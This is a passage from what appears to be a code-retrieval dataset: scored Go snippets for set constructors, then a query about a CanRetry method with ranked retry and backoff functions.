...string) Set {\n\tset := make(Set)\n\tset.Add(init...)\n\treturn set\n}", "title": "" }, { "docid": "acf87ffde6388168e2f89d9543787c1f", "score": "0.7189966", "text": "func New(size int) *Set {\n\treturn &Set{items: make([]int, 0, size)}\n}", "title": "" }, { "docid": "48c191d9677a94c2a3e1142ea647c61d", "score": "0.7146285", "text": "func NewSet(x ...string) Set {\n\tvar s Set\n\tfor _, item := range x {\n\t\ts.Add(item)\n\t}\n\treturn s\n}", "title": "" }, { "docid": "756f3b093acca312a84f1bff70d7c3e5", "score": "0.70980376", "text": "func New(elements ...interface{}) (s *Set) {\n\ts = &Set{}\n\ts.m = make(map[interface{}]struct{})\n\ts.mutex = &sync.RWMutex{}\n\n\ts.Add(elements...)\n\treturn\n}", "title": "" }, { "docid": "773be54830b10b0fda554ddeb77576f4", "score": "0.7052605", "text": "func NewSet(size int) Set {\n\treturn make(Set, (size+63)>>6)\n}", "title": "" }, { "docid": "ebbaebb3fed76efc10d931eddf19f9b0", "score": "0.7035836", "text": "func Constructor() MyHashSet {\n\treturn MyHashSet{0, InitContainer, make([]*Node, InitContainer)}\n}", "title": "" }, { "docid": "02cbf73875c0907b85e62e1067358386", "score": "0.70299834", "text": "func NewSet() *Set {\n\treturn &Set{make(map[interface{}]struct{}), 0}\n}", "title": "" }, { "docid": "7858bac5686719362e1418c9979eff32", "score": "0.70250636", "text": "func New(values ...interface{}) *HashSet {\n\tset := HashSet{data: make(map[interface{}]struct{}, len(values))}\n\tset.Add(values...)\n\treturn &set\n}", "title": "" }, { "docid": "b349261b457b35a0d66f01098b576b59", "score": "0.7011862", "text": "func NewSet(e ...interface{}) Set {\n\tset := newSet()\n\tfor _, item := range e {\n\t\tset.Add(item)\n\t}\n\treturn set\n}", "title": "" }, { "docid": "dfb706740086b17854a8cbb16d78a7e2", "score": "0.70021385", "text": "func New(items ...interface{}) *Set {\n\ts := &Set{}\n\ts.m = make(map[interface{}]struct{})\n\ts.Add(items...)\n\n\treturn s\n}", "title": "" }, { "docid": "8f7d40cd2345153d29d01d0ce02bdcdb", "score": "0.6990649", "text": "func NewSet(elems ...string) Set {\n\tvar s Set = make(map[string]struct{})\n\tfor _, elem := range elems {\n\t\ts.Add(elem)\n\t}\n\treturn s\n}", "title": "" }, { "docid": "4aef13f56b93a34cb7a7d277986fbb5f", "score": "0.6980898", "text": "func NewSet() *Set {\n\treturn &Set{\n\t\titems: map[Node]struct{}{},\n\t\tlock: &sync.Mutex{},\n\t}\n}", "title": "" }, { "docid": "117ab5a4e81e8c8a7763be11f5d96882", "score": "0.69689107", "text": "func NewSet() *Set {\n\tvar set Set\n\tset.Elements = make(map[string]struct{})\n\treturn &set\n}", "title": "" }, { "docid": "e8e2e1756b688adb51e90a0acfc02496", "score": "0.6959857", "text": "func Constructor() MyHashSet {\n\treturn MyHashSet{make([]bool, 1000000)}\n}", "title": "" }, { "docid": "2c6537231b0d43ca704c8d0fb201a167", "score": "0.69509166", "text": "func New(xs ...string) stringSet {\n\ts := stringSet{}\n\tfor _, x := range xs {\n\t\ts.Add(x)\n\t}\n\treturn s\n}", "title": "" }, { "docid": "bbb11e75f174fa78993a771607c22fb2", "score": "0.693289", "text": "func NewSet() *Set {\n\ts := &Set{}\n\ts.elements = make(map[Any]Any)\n\treturn s\n}", "title": "" }, { "docid": "3d12e6d1d15c80f039417082975379ea", "score": "0.689472", "text": "func NewHashSet(initCapacity int) *HashSet {\n\t//not illegal\n\tif initCapacity < defaultCapacity {\n\t\tinitCapacity = defaultCapacity\n\t}\n\treturn &HashSet{\n\t\tsize: 0,\n\t\tinnerMap: make(map[interface{}]interface{}, initCapacity),\n\t}\n}", "title": "" }, { "docid": "56ea050afdb96e7f60ec77c5cbba7079", "score": "0.68834525", "text": "func New() *StringSet {\n\tss := new(StringSet)\n\tss.content = make(map[string]nothing)\n\treturn ss\n}", "title": "" }, { "docid": "83427d3af197963ecf02bcb3ffa6a310", "score": "0.6852259", "text": "func New(eles ...string) *Set {\n\tset := new(Set)\n\tset.m = make(map[string]int, len(eles))\n\tfor _, ele := range eles {\n\t\tset.Append(ele)\n\t}\n\treturn set\n}", "title": "" }, { "docid": "2820d25cb6d50a2579023b96e6956459", "score": "0.6839569", "text": "func NewSet() (s *Set) {\n\ts = &Set{make(map[string]struct{})}\n\treturn\n}", "title": "" }, { "docid": "c2efdafdc1340d67c9e367722f5fb345", "score": "0.6837919", "text": "func newItemSet() *iteratable.Set {\n\treturn iteratable.NewSet(0)\n}", "title": "" }, { "docid": "abd937b503544a73aafa08cf1ba6e04b", "score": "0.682671", "text": "func New(n ...int) *Set {\n\ts := (*Set)(big.NewInt(0))\n\ts.setBits(1, n...)\n\treturn s\n}", "title": "" }, { "docid": "2abc3c2f1608515109b38c0e2c3b4f40", "score": "0.68255293", "text": "func Constructor() MyHashSet {\r\n\tret := MyHashSet{\r\n\t\tdata: make([][]int, 1000),\r\n\t}\r\n\r\n\tfor i := range ret.data {\r\n\t\tret.data[i] = make([]int, 0)\r\n\t}\r\n\r\n\treturn ret\r\n}", "title": "" }, { "docid": "ded9c0f94a229b8246b4cb7a7d7ac077", "score": "0.68173707", "text": "func New() *Set {\n\treturn &Set{\n\t\tts: make(map[string]task),\n\t}\n}", "title": "" }, { "docid": "a61cd383babe9c7a7d0f96b5ebef51d7", "score": "0.6813205", "text": "func NewSet() *Set {\n\treturn &Set{\n\t\tm: map[interface{}]bool{},\n\t}\n}", "title": "" }, { "docid": "89fd5c128aa005c6547ab8e308e48998", "score": "0.6782911", "text": "func Constructor() MyHashSet {\n\treturn MyHashSet{\n\t\ts: make([]bool, 10000, 1000001),\n\t\tlen: 10000,\n\t\tcap: 1000001,\n\t}\n}", "title": "" }, { "docid": "a5c130dc1eb63fb918d9755c1faedb62", "score": "0.676947", "text": "func Constructor() MyHashSet {\n\n\tlist := make([]*Node, length)\n\treturn MyHashSet{\n\t\tlist: list,\n\t}\n}", "title": "" }, { "docid": "01548f06bbd64192f0355426f862c820", "score": "0.6760575", "text": "func NewSet() *Set {\n\ts := &Set{}\n\ts.list = make(map[*Automata]bool)\n\treturn s\n}", "title": "" }, { "docid": "7e422805c18346d81b54f3ef206baa34", "score": "0.6760433", "text": "func Constructor() MyHashSet {\n\td := float64(initialSize) * growthCap\n\treturn MyHashSet{\n\t\tarr: make([]*hashsetElement, initialSize),\n\t\tgrowthThreshold: int(d),\n\t}\n}", "title": "" }, { "docid": "86179be5a9ad3cc12935abaa37942587", "score": "0.6758473", "text": "func NewSet[T comparable]() *Set[T] {\n\tvals := &Set[T]{values: map[T]struct{}{}}\n\treturn vals\n}", "title": "" }, { "docid": "1bec24e1a31dd2bf97af7d603d41133c", "score": "0.67566913", "text": "func NewSet(ordered ...Ordered) Set {\n\tif len(ordered) == 0 {\n\t\treturn &tree{}\n\t}\n\n\tlast := len(ordered) - 1\n\treturn NewSet(ordered[:last]...).Insert(ordered[last])\n}", "title": "" }, { "docid": "722da73a19e5c9a7f49eb1b178ab83be", "score": "0.6732087", "text": "func NewSet() *Set {\n\treturn &Set{\n\t\tset: make(map[schema.GroupVersionKind]bool),\n\t}\n}", "title": "" }, { "docid": "22784e6bd263427fae1dea77eeb28c28", "score": "0.66915977", "text": "func NewSet[T comparable](elements ...T) Set[T] {\n\ts := Set[T]{cache: make(map[T]struct{}, len(elements))}\n\ts.Add(elements...)\n\treturn s\n}", "title": "" }, { "docid": "fa06a5ea57c251cc033077674550c604", "score": "0.66908735", "text": "func (s *Set) New() {\n\ts.setMap = make(map[interface{}]bool)\n}", "title": "" }, { "docid": "60c85cda7998536d8c093b3a8db5953a", "score": "0.6668847", "text": "func NewMyHashSet() MyHashSet {\n\t// func Constructor() MyHashSet {\n\treturn MyHashSet{\n\t\ttable: make([]byte, 125001),\n\t}\n}", "title": "" }, { "docid": "62156a8936ddcd1e3ba3fd6e77ce7a13", "score": "0.66645885", "text": "func newStringSet(elements ...string) stringSet {\n\ts := make(stringSet)\n\ts.add(elements...)\n\treturn s\n}", "title": "" }, { "docid": "4ae4867eeef3a0e930cbd9ffda22a969", "score": "0.6664336", "text": "func Constructor() MyHashSet {\n\treturn MyHashSet{\n\t\tarr: make([]uint64, 1000000/64+1),\n\t}\n}", "title": "" }, { "docid": "e6d14adba01d935b1210bc3aeadc49c2", "score": "0.6661936", "text": "func New() *OrderedHashSet {\n\treturn &OrderedHashSet{\n\t\tvalues: make(map[interface{}]*list.Element),\n\t\torder: list.New(),\n\t}\n}", "title": "" }, { "docid": "a76152f4c6f2cd4fab477d02ccb5a0e7", "score": "0.66475374", "text": "func NewSet() Set {\n\treturn make(map[ValueID]Value)\n}", "title": "" }, { "docid": "4019d75e0085f32f412ce6b8806f4386", "score": "0.6635316", "text": "func Constructor() MyHashSet {\n\treturn MyHashSet{data: make([]list.List, MyHashSetBase)}\n}", "title": "" }, { "docid": "bcb39c69cce77a4a8fe3e1a39ba50610", "score": "0.65989316", "text": "func Constructor() MyHashSet {\n\treturn MyHashSet{Bit: make([]uint64, 1000000/4 +1)}\n}", "title": "" }, { "docid": "bf220aa69864ce297f1134d181b9a131", "score": "0.65836453", "text": "func NewSet() *Set {\n\treturn &Set{\n\t\tmigrations: make(migrations, 0),\n\t}\n}", "title": "" }, { "docid": "5b96dd5354ef9d72ed1d8d48c2d28ac8", "score": "0.654625", "text": "func NewSet() *Set {\n\tpf := &recon.MemPrefixTree{}\n\tpf.Init()\n\treturn &Set{pf: pf}\n}", "title": "" }, { "docid": "d0c92b05c738f678bc8ae0c4942a2342", "score": "0.6545962", "text": "func newSet(team bool) *Set {\n\ts := Set{\n\t\tGames: make([]*Game, 0),\n\t}\n\n\ts.Games = append(s.Games, newGame(team))\n\treturn &s\n}", "title": "" }, { "docid": "774997dd2cf9e0954e768d6890e41601", "score": "0.6538582", "text": "func NewSet(sync bool) *Set {\n\treturn &Set{set: make(map[interface{}]bool), sync: sync}\n}", "title": "" }, { "docid": "872cde902ead89d30569804b7b38f44d", "score": "0.6537541", "text": "func NewSet[T any](rules Rules[T]) Set[T] {\n\treturn Set[T]{\n\t\tvals: map[int][]T{},\n\t\trules: rules,\n\t}\n}", "title": "" }, { "docid": "35b87bffe40f201cd4af78e0834f70b7", "score": "0.6532954", "text": "func NewSet() ISet {\n\ts := new(set)\n\ts.data = make(map[interface{}]bool)\n\n\treturn s\n}", "title": "" }, { "docid": "b08f22ab6334063c34057989984eaafc", "score": "0.6528859", "text": "func New[T comparable](threadSafe ...bool) Set[T] {\n\tif len(threadSafe) > 0 && threadSafe[0] {\n\t\treturn newThreadSafeSet[T]()\n\t}\n\n\treturn newSimpleSet[T]()\n}", "title": "" }, { "docid": "231ef82bd0c4cd47b255a08c0c534c00", "score": "0.6525136", "text": "func NewSet(capacity int) *Set {\n\treturn &Set{\n\t\tsets: setslice(capacity),\n\t}\n}", "title": "" }, { "docid": "499d658c78c3fe27005a9913932fafd4", "score": "0.6518718", "text": "func NewSet() *Set {\n\treturn &Set{set: make(map[CidChannelPair]struct{})}\n}", "title": "" }, { "docid": "f6f54159e7a3a51255bc68cbba4347d8", "score": "0.6517378", "text": "func Empty() *Set {\n\treturn &Set{disjoint.Empty()}\n}", "title": "" }, { "docid": "bd0245ab1ddbc5b7ba8021d843ee81be", "score": "0.65030247", "text": "func NewSet() *Set {\n\treturn &Set{}\n}", "title": "" }, { "docid": "3584334fd952151d7e5bb22d80b1cc17", "score": "0.64818734", "text": "func Constructor() MyHashSet {\n\treturn MyHashSet{Map: make(map[int]bool)}\n}", "title": "" }, { "docid": "7ee5a4a7b0d9e343224eb2c4816eb676", "score": "0.64596206", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{m: make(map[int]int), nums: make([]int, 0, 0), lastIdx: -1}\n}", "title": "" }, { "docid": "558d48ec5ae9eaaa55fc9276ba9005f4", "score": "0.64524865", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{idxs: map[int]int{}}\n}", "title": "" }, { "docid": "272289a567aa5ecd7ea4f41e14ff943b", "score": "0.6451436", "text": "func NewSet() *Set {\n\treturn &Set{Object{typ: SetType}, NewDict()}\n}", "title": "" }, { "docid": "79329a953c431fbe3451abab93d12480", "score": "0.64427316", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{\n\t\tset: make(map[int]struct{}, 0),\n\t}\n}", "title": "" }, { "docid": "f0f94c8189e3eb2352f29ae0e3ce782c", "score": "0.6435668", "text": "func New(strings ...string) StringSet {\n\tset := make(map[string]struct{}, len(strings))\n\tfor _, str := range strings {\n\t\tset[str] = struct{}{}\n\t}\n\treturn set\n}", "title": "" }, { "docid": "3e870d21c44688a3cd63f359b53a0123", "score": "0.6427426", "text": "func CreateSet(values ...interface{}) map[interface{}]struct{} {\n\tset := make(map[interface{}]struct{}, len(values))\n\tfor _, value := range values {\n\t\tset[value] = struct{}{}\n\t}\n\treturn set\n}", "title": "" }, { "docid": "d0e4db8e3f2b2b189348558bc22db556", "score": "0.6421598", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{\n\t\tvalues: make([]int, 0),\n\t\tindex: make(map[int]int, 0),\n\t}\n}", "title": "" }, { "docid": "dd7827ce606dacf08fd505a40d79f7d9", "score": "0.641494", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{\n\t\tdata: nil,\n\t\thashTable: make(map[int]int),\n\t}\n}", "title": "" }, { "docid": "6fe7b68c06912dca8cf58f633be3642e", "score": "0.6409847", "text": "func NewSet() *CSet {\n\treturn &CSet{\n\t\tm: make(map[string]bool),\n\t}\n}", "title": "" }, { "docid": "b2dfcd42a3ac02771bfd6465ce5836a2", "score": "0.64042836", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{\n\t\tnums: make([]int, 0),\n\t\tset: make(map[int]int, 0),\n\t}\n}", "title": "" }, { "docid": "822e1bab77fb78930875b2beb3667454", "score": "0.64020914", "text": "func CreateSet(values []string) *Set {\n\tset := &Set{}\n\tset.values = make(map[string]struct{})\n\tfor _, value := range values {\n\t\tset.add(value)\n\t}\n\treturn set\n}", "title": "" }, { "docid": "c11396e7d62489a033f541e12fff782e", "score": "0.63840973", "text": "func NewEmptyShardSet(fn HashFn) ShardSet {\n\treturn newValidatedShardSet(nil, fn)\n}", "title": "" }, { "docid": "2d1c964c811995644d379018080c9973", "score": "0.63606226", "text": "func New(n int) *Set {\n\tsize := n / 8\n\tif r := n % 8; r > 0 {\n\t\tsize = size + 1\n\t}\n\n\treturn &Set{\n\t\tdata: make([]byte, size),\n\t}\n}", "title": "" }, { "docid": "1aa9f429a816b3c9f45230a65f8266a7", "score": "0.635996", "text": "func RandomizedSetConstructor() RandomizedSet {\n\treturn RandomizedSet{\n\t\tvalMap: make(map[int]*setNode),\n\t}\n}", "title": "" }, { "docid": "f3947ecdf3634188c28ebe24f86a4c0a", "score": "0.6358415", "text": "func New(size int) *DisjointSet {\n\td := &DisjointSet{\n\t\tranks: make([]int, size),\n\t\tparents: make([]int, size),\n\t\tsizes: make([]int, size),\n\t}\n\tfor i := 0; i < size; i++ {\n\t\td.parents[i] = i\n\t\td.sizes[i] = 1\n\t}\n\treturn d\n}", "title": "" }, { "docid": "2d695c0070215c7234523e1da50bb18c", "score": "0.63542354", "text": "func NewEmptyFileSet(workspace *Workspace) *FileSet {\n\tfs := &FileSet{\n\t\tindex: make(map[string]*File),\n\t\tlinks: make(map[string][]string),\n\t\treverseLinks: make(map[string][]string),\n\t\tworkspace: workspace,\n\t\tdirty: true,\n\t}\n\treturn fs\n}", "title": "" }, { "docid": "c3ad5bd558291dd4019031cceb58e007", "score": "0.6353364", "text": "func New[T comparable](elements ...T) *AdvancedSet[T] {\n\ta := &AdvancedSet[T]{*orderedmap.New[T, types.Empty]()}\n\tfor _, element := range elements {\n\t\ta.Set(element, types.Void)\n\t}\n\n\treturn a\n}", "title": "" }, { "docid": "3369d531595436a862191c893338227d", "score": "0.6344593", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{IndexHash: make(map[int]int)}\n}", "title": "" }, { "docid": "0dba1fbf25ad3b0b668710e566973e54", "score": "0.6340626", "text": "func NewSet() *Set {\n\treturn &Set{\n\t\tpaths: map[string]*Path{},\n\t}\n}", "title": "" }, { "docid": "8b90dc03970a66d588616e05e558d3f1", "score": "0.63316584", "text": "func NewStrSet(strs ...string) StrSet {\n\tm := StrSet{}\n\tfor _, str := range strs {\n\t\tm[str] = struct{}{}\n\t}\n\treturn m\n}", "title": "" }, { "docid": "ed346ccf93a33207fbc3820076ff73a5", "score": "0.6305503", "text": "func newStringSet() stringSet {\n\treturn make(map[string]struct{})\n}", "title": "" }, { "docid": "a84998ca486512169a6e630dea54dcc3", "score": "0.62986183", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{M: make(map[int]*Val), A: []int{}, R: make(map[int]int), Offset: 0, Count: 0}\n}", "title": "" }, { "docid": "f82662e3af3119d0198d83bd38623ced", "score": "0.62979716", "text": "func NewSet(ctx context.Context, q Queryer, sql string, params ...interface{}) (Set, error) {\n\trows, err := q.QueryContext(ctx, sql, params...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\treturn FillSet(ctx, rows)\n}", "title": "" }, { "docid": "8bc82546b8e17d29e8a0a137f2d7ca22", "score": "0.62734026", "text": "func Constructor() RandomizedSet {\n \n}", "title": "" }, { "docid": "8d88807c52b0b8c21f2bba99dbf4dcc4", "score": "0.62719965", "text": "func NewSet(name string) *Set {\n\treturn &Set{\n\t\tname: name,\n\t}\n}", "title": "" }, { "docid": "427d446cf0f378f4fefc2fcb6c9d351d", "score": "0.6265034", "text": "func Constructor() RandomizedSet {\n\treturn RandomizedSet{\n\t\tm: make(map[int]int),\n\t\tval: []int{},\n\t}\n}", "title": "" }, { "docid": "b977de201f46df0f3f62056fa64c808b", "score": "0.62531304", "text": "func New(ss []string) (Set, error) {\n\tset := empty()\n\tfor _, s := range ss {\n\t\tname, err := image.NewName(s)\n\t\tif err != nil {\n\t\t\treturn Set{}, err\n\t\t}\n\t\tset.m[name] = struct{}{}\n\t}\n\treturn set, nil\n}", "title": "" }, { "docid": "6b2705c2dc0b3297984d8dd2faf078be", "score": "0.62517476", "text": "func Constructor() MyHashSet {\n\tvar table MyHashSet\n\ttable.m = make(map[int]int)\n\treturn table\n}", "title": "" }, { "docid": "ac181b97a12c1fda5a2f1c7d0ff89888", "score": "0.625052", "text": "func Constructor() RandomizedSet {\n\tvar rs RandomizedSet\n\trs.index = make(map[int]int)\n\treturn rs\n}", "title": "" }, { "docid": "5b9c0d0f6bb200452aad4ddadd0d97a4", "score": "0.62496597", "text": "func NewSet(nets ...*Net) (*Set, error) {\n\tms := &Set{\n\t\tNets: make([]*Net, 0),\n\t\tbyName: make(map[string]*Net),\n\t}\n\tfor _, v := range nets {\n\t\terr := ms.add(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn ms, nil\n}", "title": "" }, { "docid": "9fc9242679cf6d749bea010ee551f3eb", "score": "0.6246628", "text": "func New() *SortedSet {\n\treturn new(SortedSet)\n}", "title": "" } ]
c70e3fafb0cf7db6841b475af9ea546e
CanRetry implements the Retryable interface. TODO(tschottdorf): the way this is used by rpc/send suggests that it may be better if these weren't retriable they are returned when the connection fails, i.e. for example when a node is down or the network fails. Retrying on such errors keeps the caller waiting for a long time and without a positive outlook.
[ { "docid": "9433be332254c7e6dbc5a785a300ad56", "score": "0.844738", "text": "func (r rpcError) CanRetry() bool { return true }", "title": "" } ]
[ { "docid": "fdb2610f6ede4d5a0b344505b6b1766a", "score": "0.7925366", "text": "func (s SendError) CanRetry() bool { return s.canRetry }", "title": "" }, { "docid": "60b7b5f4824e00723b1ad45ecf88be42", "score": "0.76464623", "text": "func (e NetworkError) CanRetry() bool {\n\t// We consider these strings as part of errors we can retry\n\tretryMessages := []string{\n\t\t\"dial tcp\", \"read udp\", \"connection refused\",\n\t\t\"ssh: connect to host\", \"Could not read from remote\",\n\t}\n\n\t// If any of them are in the error message, we consider it temporary\n\tfor _, message := range retryMessages {\n\t\tif strings.Contains(e.Error(), message) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\t// Otherwise permanent\n\treturn false\n}", "title": "" }, { "docid": "2ca0e3995407adc4e94a1e2c22d427eb", "score": "0.7391323", "text": "func (n noNodeAddrsAvailError) CanRetry() bool { return true }", "title": "" }, { "docid": "262f55679e5fbc6b614382a036454f99", "score": "0.7198317", "text": "func (dr DefaultRetriable) Retry() bool {\n\treturn dr.retry\n}", "title": "" }, { "docid": "62aec523df729a928d83c09f39dbca17", "score": "0.71563375", "text": "func ShouldRetry(err error) bool {\n\tswitch {\n\tcase isNetworkErr(err):\n\t\treturn true\n\tcase isEOF(err):\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "5695eae7217e56571750373e346a4b8a", "score": "0.71144044", "text": "func (e *ClientErr) Retry() bool {\n\treturn e.retry\n}", "title": "" }, { "docid": "2848441e891b17da428ca78ad032b599", "score": "0.7015882", "text": "func (q *Queue) IsRetryAllowed() bool {\r\n\treturn q.onFail == Retry\r\n}", "title": "" }, { "docid": "94043bfad5cab4b021061f7436018ff5", "score": "0.6999555", "text": "func (r *Replication) ShouldRetry() bool {\n\treturn true\n}", "title": "" }, { "docid": "2f054ca7e1b02713729acc1bdf404541", "score": "0.698622", "text": "func canRetry(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\tif err == mysql.ErrInvalidConn || err == driver.ErrBadConn {\n\t\treturn true\n\t}\n\n\tif _, ok := err.(*net.OpError); ok {\n\t\t// Being unable to reach MySQL is a network issue, so we get a net.OpError.\n\t\t// If MySQL is reachable, then we'd get a mysql.* or driver.* error instead.\n\t\treturn true\n\t}\n\n\tcode := errorCode(err)\n\t_, ok := retryableErrors[code]\n\n\treturn ok\n}", "title": "" }, { "docid": "2fdcb0c3dd99a0e7f14e3e2446056b8b", "score": "0.6894063", "text": "func canRetry(args interface{}, err error) bool {\n\t// No leader errors are always safe to retry since no state could have\n\t// been changed.\n\tif structs.IsErrNoLeader(err) {\n\t\treturn true\n\t}\n\n\t// Reads are safe to retry for stream errors, such as if a server was\n\t// being shut down.\n\tinfo, ok := args.(structs.RPCInfo)\n\tif ok && info.IsRead() && lib.IsErrEOF(err) {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "b1c5644c2c3805252ad48d20d50fc474", "score": "0.6845991", "text": "func canRetry(err error) bool {\n\tif temp, ok := err.(temporary); ok && temp.Temporary() {\n\t\treturn true\n\t}\n\treturn err == ErrRecalculate\n}", "title": "" }, { "docid": "3f7fad43b8b807fda2e5488001af6c25", "score": "0.68068486", "text": "func (f firstRangeMissingError) CanRetry() bool { return true }", "title": "" }, { "docid": "b2426ae7c2e00607e58747321d0108a3", "score": "0.67893124", "text": "func IsRetryable(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\n\terr = errors.Cause(err)\n\n\t// Retry on network timeout errors\n\tif err, ok := err.(net.Error); ok && err.Timeout() {\n\t\treturn true\n\t}\n\n\t// handle oci retryable errors.\n\tserviceErr, ok := common.IsServiceError(err)\n\tif !ok {\n\t\treturn false\n\t}\n\n\tswitch serviceErr.GetHTTPStatusCode() {\n\tcase http.StatusTooManyRequests, http.StatusGatewayTimeout,\n\t\thttp.StatusInternalServerError, http.StatusBadGateway:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "5c125b5bfa89e33e137cb33932d3347f", "score": "0.6787619", "text": "func (e ClusterIsNotReadyError) ShouldRetry() bool {\n\treturn true\n}", "title": "" }, { "docid": "2d03aae1b8b925246cca6d5eafdb306d", "score": "0.6731807", "text": "func (r *StopRetrier) Retry(ctx context.Context, retry int, req *http.Request, resp *http.Response, err error) (time.Duration, bool, error) {\n\treturn 0, false, nil\n}", "title": "" }, { "docid": "9c5f696a822e459d9d3091566d9d98aa", "score": "0.672543", "text": "func (sa *All) ShouldRetry() bool {\n\treturn false\n}", "title": "" }, { "docid": "1354795edee8bdcf3be211935dea5f4f", "score": "0.66732687", "text": "func canRetry(ctx context.Context, err error) bool {\n\tswitch e := err.(type) {\n\tcase *github.RateLimitError:\n\t\tlog.Printf(\"GitHub rate limit error: %s, waiting until %s\", e.Message, e.Rate.Reset.Time)\n\t\tctx, cancel := context.WithDeadline(ctx, e.Rate.Reset.Time)\n\t\tdefer cancel()\n\t\t<-ctx.Done()\n\t\treturn ctx.Err() != context.Canceled\n\tcase *github.AbuseRateLimitError:\n\t\tif e.RetryAfter != nil {\n\t\t\tlog.Printf(\"GitHub rate abuse error: %s, waiting for %s\", e.Message, *e.RetryAfter)\n\t\t\tctx, cancel := context.WithTimeout(ctx, *e.RetryAfter)\n\t\t\tdefer cancel()\n\t\t\t<-ctx.Done()\n\t\t\treturn ctx.Err() != context.Canceled\n\t\t}\n\t\tlog.Printf(\"GitHub rate abuse error: %s\", e.Message)\n\t}\n\treturn false\n}", "title": "" }, { "docid": "e5d4411d08b6c03355fd8cc0f856e3e0", "score": "0.6667877", "text": "func (op *Op) ShouldRetry(message string, args ...interface{}) bool {\n\t// Deciding whether to retry by # of attempts and time\n\tdiag := \"\"\n\tif op.Attempt >= op.RetryPolicy.MaxAttempts {\n\t\tdiag = \"reached max # of attempts\"\n\t} else if op.RetryPolicy.Clock.Now().After(op.Expires) {\n\t\tdiag = \"exceeded max configured time interval for retries\"\n\t}\n\tif diag != \"\" {\n\t\tError.Printf(fmt.Sprintf(\"%s -> failed attempt #%d: will NOT be retried (%s)\", message, op.Attempt, diag), args...)\n\t\treturn false\n\t}\n\t// Computing delay (exponential backoff)\n\tif op.Attempt == 2 {\n\t\top.Delay = op.RetryPolicy.MinDelay\n\t} else if op.Attempt > 2 {\n\t\top.Delay = time.Duration(float64(op.Delay) * op.RetryPolicy.ExpBackoffBase)\n\t\tif op.Delay > op.RetryPolicy.MaxDelay {\n\t\t\top.Delay = op.RetryPolicy.MaxDelay\n\t\t}\n\t}\n\n\teffectiveDelay := op.Delay\n\tif op.RetryPolicy.RandomizeDelays && op.Delay > op.RetryPolicy.MinDelay {\n\t\teffectiveDelay = op.RetryPolicy.MinDelay + time.Duration(float64(op.Delay-op.RetryPolicy.MinDelay)*rand.Float64())\n\t}\n\n\t// Logging information about failed attempt\n\tWarning.Printf(fmt.Sprintf(\"%s -> failed attempt #%d: retrying in %s\", message, op.Attempt, effectiveDelay), args...)\n\top.Attempt++\n\n\t// Sleeping\n\t<-op.RetryPolicy.Clock.After(effectiveDelay)\n\n\t// Allowing to retry\n\treturn true\n}", "title": "" }, { "docid": "4ba8d17643b68688742d8deea55c0f9e", "score": "0.6664689", "text": "func (mockPool *MockLockfile) ShouldRetry(err error) bool {\n\treturn mockPool.Called(err).Bool(0)\n}", "title": "" }, { "docid": "30b1ba5d033f51d841cd223d0b32d982", "score": "0.6650576", "text": "func (r *retryPolicy) shouldRetry(ctx context.Context, err error, message string) bool {\n\twait := func() bool {\n\t\tctx2, cancel := WithDeadline(ctx, r.retryDeadline)\n\t\tr.waitErr = retry.Wait(ctx2, r.policy, r.retries)\n\t\tcancel()\n\t\tif r.waitErr != nil {\n\t\t\t// Context timeout or cancellation\n\t\t\tr.clients = nil\n\t\t\treturn false\n\t\t}\n\t\tr.retries++\n\t\treturn true\n\t}\n\n\tif err == nil {\n\t\treturn false\n\t}\n\tif awsrequest.IsErrorRetryable(err) || awsrequest.IsErrorThrottle(err) || otherRetriableError(err) {\n\t\t// Transient errors. Retry with the same client.\n\t\tlog.Printf(\"retry %s: %v\", message, err)\n\t\treturn wait()\n\t}\n\taerr, ok := getAWSError(err)\n\tif ok {\n\t\tif r.opts.RetryWhenNotFound && aerr.Code() == s3.ErrCodeNoSuchKey {\n\t\t\tlog.Printf(\"retry %s (not found): %v\", message, err)\n\t\t\treturn wait()\n\t\t}\n\n\t\tswitch aerr.Code() {\n\t\tcase s3.ErrCodeNoSuchBucket, s3.ErrCodeNoSuchKey:\n\t\t\t// No point in trying again.\n\t\t\tr.clients = nil\n\t\t\treturn false\n\t\tcase \"NotFound\":\n\t\t\t// GetObject seems to return this error rather ErrCodeNoSuchKey\n\t\t\tr.clients = nil\n\t\t\treturn false\n\t\tdefault:\n\t\t\t// Possible cases:\n\t\t\t//\n\t\t\t//- permission errors: we retry using a different client.\n\t\t\t//\n\t\t\t//- non-retriable errors: we retry using a different client, and it will\n\t\t\t// fail again, and we eventually give up. The code it at least correct, if\n\t\t\t// suboptimal.\n\t\t\t//\n\t\t\t// - transient errors we don't yet know. We'll abort when we shouldn't,\n\t\t\t// but there's not much we can do. We'll add these errors to the above\n\t\t\t// case as we discover them.\n\t\t}\n\t}\n\tif len(r.clients) <= 1 {\n\t\t// No more alternate clients to try\n\t\tr.clients = nil\n\t\treturn false\n\t}\n\tr.clients = r.clients[1:]\n\treturn true\n}", "title": "" }, { "docid": "b39a7bb09140b0bd23162c7d7101126c", "score": "0.66323245", "text": "func (r *MyRetrier) Retry(ctx context.Context, retry int, req *http.Request, resp *http.Response, err error) (time.Duration, bool, error) {\r\n\t// Fail hard on a specific error\r\n\tif err == syscall.ECONNREFUSED {\r\n\t\treturn 0, false, errors.New(\"✘ Elasticsearch or network down\")\r\n\t}\r\n\r\n\t// Stop after 5 retries\r\n\tif retry >= 5 {\r\n\t\treturn 0, false, nil\r\n\t}\r\n\r\n\t// Let the backoff strategy decide how long to wait and whether to stop\r\n\twait, stop := r.backoff.Next(retry)\r\n\treturn wait, stop, nil\r\n}", "title": "" }, { "docid": "7fed78936f1c15603d8f33d9f5403308", "score": "0.65766037", "text": "func (r *failureRetryer) AllowRetry(ctx context.Context) (string, bool) 